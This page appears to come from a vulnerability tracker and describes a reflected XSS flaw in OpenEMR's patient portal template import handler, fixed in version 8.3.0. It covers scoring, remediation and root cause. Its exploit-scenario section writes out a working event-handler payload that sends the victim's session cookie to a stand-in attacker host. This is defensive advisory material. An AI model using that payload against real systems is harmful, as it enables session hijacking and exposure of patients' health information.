Skip to main content

OpenEMR EUVDEUVD-2026-62504

| CVE-2026-40507 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-08-19 VulnCheck GHSA-pqfg-4hrq-q9jm
5.1
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Identify Forms Administration user in target OpenEMR instance
  2. Delivery
    Craft malicious URL embedding XSS payload in templateHtml GET parameter
  3. Exploit
    Deliver link via phishing or social engineering
  4. Execution
    Victim clicks link while authenticated as Forms Admin
  5. Persist
    Unsanitized payload renders and executes in victim's browser
  6. Impact
    Steal session cookie or perform actions as Forms Admin

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The victim must be currently authenticated to OpenEMR with Forms Administration permissions - ordinary portal patients and lower-privileged staff cannot serve as viable targets. Active user interaction is required: the victim must follow a crafted URL, making social engineering (phishing, watering hole, or embedded link in a trusted communication) a mandatory precondition. The attacker requires no authentication or account of their own (PR:N). The vulnerability is present in any OpenEMR instance prior to 8.3.0 where the patient portal template import feature is accessible - no non-default configuration is required to be vulnerable. The attack is limited to contexts where a Forms Administrator can be induced to click an external or attacker-controlled link.

Impact

The CVSS 4.0 score of 5.1 (Medium) with vector AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N correctly characterizes the attack profile: the attacker requires no authentication (PR:N), the network vector is unrestricted (AV:N), but active user interaction is mandatory (UI:A) - the victim must follow a crafted link. Impact is scoped entirely to the subsequent system (browser/session: SC:L/SI:L), with no direct impact on the OpenEMR server itself. The critical real-world limiting factor is that the victim must hold Forms Administration permissions, narrowing viable targets to privileged administrative accounts rather than arbitrary portal users. No EPSS score was provided in the input data, so exploitation probability cannot be quantified. No CISA KEV listing is present, and no public exploit code is identified at time of analysis. Despite the moderate CVSS score, healthcare-context consequences are elevated: session hijacking of a Forms Administrator could expose protected health information (PHI) or enable insertion of malicious templates affecting patient-facing portal content, making this a higher-priority fix in regulated environments than the raw score implies.

Exploit ScenarioDerived

An attacker identifies a Forms Administrator account in a target OpenEMR deployment and delivers a phishing message containing a crafted URL to portal/import_template.php?templateHtml=<img src=x onerror=fetch('https://attacker.example/steal?c='+document.cookie)>. When the administrator clicks the link while authenticated, the payload executes in their browser and exfiltrates the session cookie to the attacker's server. The attacker replays the session token to impersonate the Forms Administrator, gaining access to patient portal template management and potentially to sensitive PHI. No public exploit code is identified at time of analysis, though the vulnerability is straightforward to exploit by anyone with knowledge of the endpoint.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 19, 2026

Reflected XSS in OpenEMR's patient portal template import handler allows a remote unauthenticated attacker to craft a malicious URL that executes arbitrary JavaScript in the browser of any authenticated Forms Administrator who visits it, enabling session hijacking with administrative privileges. The vulnerable parameter (templateHtml GET) was reflected directly into the page response in portal/import_template.php without sanitization, and the only prior protection - a naive <script tag blacklist - was trivially bypassable with event-handler payloads. A vendor-released patch is available in OpenEMR 8.3.0 and no public exploit is identified at time of analysis.

RemediationAI

Upgrade to OpenEMR 8.3.0 or later, which replaces the bypassed script-tag blacklist with HTMLPurifier-based sanitization applied at both persistence and render time in portal/import_template.php and DocumentTemplateService.php. The vendor advisory is at https://github.com/openemr/openemr/security/advisories/GHSA-rmmr-8498-463g and the release at https://github.com/openemr/openemr/releases/tag/v8_3_0. If immediate upgrade is not possible, restrict access to portal/import_template.php via web server or WAF rules to deny requests from untrusted networks or require prior VPN authentication - note this will disrupt legitimate template import workflows for administrators operating remotely. Additionally, ensure Forms Administration users are trained to treat unsolicited portal links as suspicious, as social engineering is the required delivery mechanism.

Affected VersionsENISA

OpenEMR 0 <8.3.0

Affected Packages

euvd openemr fix: 8.3.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

OpenEMR is a PHP-based open-source electronic health record (EHR) and medical practice management platform, identified by CPE cpe:2.3:a:openemr:openemr:*:*:*:*:*:*:*:*. The vulnerable endpoint is portal/import_template.php, which handles HTML template content for the patient portal's Forms Administration subsystem. Prior to the fix, the code passed the raw $_GET['templateHtml'] value directly into renderEditorHtml(), which rendered it into the page without output encoding. CWE-79 (Improper Neutralization of Input During Web Page Generation) is the root cause: user-controlled data entered the HTML output context without sanitization. The prior script-tag blacklist (stripos($content, '<script')) is an insufficient control that does not account for event-handler XSS vectors (e.g., onerror, onload). The fix in v8.3.0 introduces HTMLPurifier applied at both write time (before persistence) and render time within renderEditorHtml(), and removes the direct $_GET access that phpstan had been suppressing as a known violation.

Know when Openemr gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 5.1 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
vuln.today AI 6.1 MEDIUM

Network-delivered reflected XSS requires no attacker auth (PR:N), mandates one victim click (UI:R), changes scope to the victim's browser session (S:C), with low confidentiality and integrity impact limited to that session.

3.1 AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
Active
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
None

DescriptionCVE.org

OpenEMR before 8.3.0 contains a reflected cross-site scripting vulnerability in the patient portal template import handler. The templateHtml GET parameter is reflected into the page response without sanitization. An attacker can craft a URL that executes arbitrary JavaScript in the browser of any authenticated user with Forms Administration permissions who visits the link, enabling session hijacking.

Threat Intelligence Overview

EPSS Score
0.2%
Top 84% exploitable
Prevalence
Medium
widely used open-source EHR across small-to-mid-size clinics globally
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact· derived
Medium

Priority Score

26
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +26
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

CVE-2013-10044 HIGH POC
8.7 Aug 01

An authenticated SQL injection vulnerability exists in OpenEMR ≤ 4.1.1 Patch 14 that allows a low-privileged attacker to

CVE-2026-24898 CRITICAL POC
10.0 Mar 03

Unauthenticated token disclosure in OpenEMR before 8.0.0. CVSS 10.0. PoC and patch available.

CVE-2026-24848 CRITICAL POC
9.9 Mar 03

Path traversal in OpenEMR 7.0.4 disposeDocument() allows file access. PoC available.

CVE-2026-24849 CRITICAL POC
9.9 Feb 25

Path traversal in OpenEMR electronic health records before fix allows authenticated users to read arbitrary files on the

CVE-2026-24908 CRITICAL POC
9.9 Feb 25

SQL injection in OpenEMR electronic health records before fix. Authenticated users can execute arbitrary SQL through the

CVE-2024-22611 CRITICAL POC
9.8 Apr 03

OpenEMR 7.0.2 is vulnerable to SQL Injection via \openemr\library\classes\Pharmacy.class.php, \controllers\C_Pharmacy.cl

CVE-2024-37734 CRITICAL POC
9.8 Jun 26

An issue in OpenEMR 7.0.2 allows a remote attacker to escalate privileges viaa crafted POST request using the noteid par

CVE-2026-25146 CRITICAL POC
9.6 Mar 03

Information disclosure in OpenEMR 5.0.2 to before 8.0.0 exposes sensitive data. PoC and patch available.

CVE-2026-39932 CRITICAL POC
9.4 Aug 03

Remote code execution in OpenEMR through 8.2.0 lets an authenticated administrator poison the document category tree so

CVE-2012-0992 HIGH POC
8.5 Feb 07

interface/fax/fax_dispatch.php in OpenEMR 4.1.0 allows remote authenticated users to execute arbitrary commands via shel

CVE-2015-4453 MEDIUM
5.0 Jul 05

interface/globals.php in OpenEMR 2.x, 3.x, and 4.x before 4.2.0 patch 2 allows remote attackers to bypass authentication

CVE-2018-15152 CRITICAL POC
9.1 Aug 15

Authentication bypass vulnerability in portal/account/register.php in versions of OpenEMR before 5.0.1.4 allows a remote

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy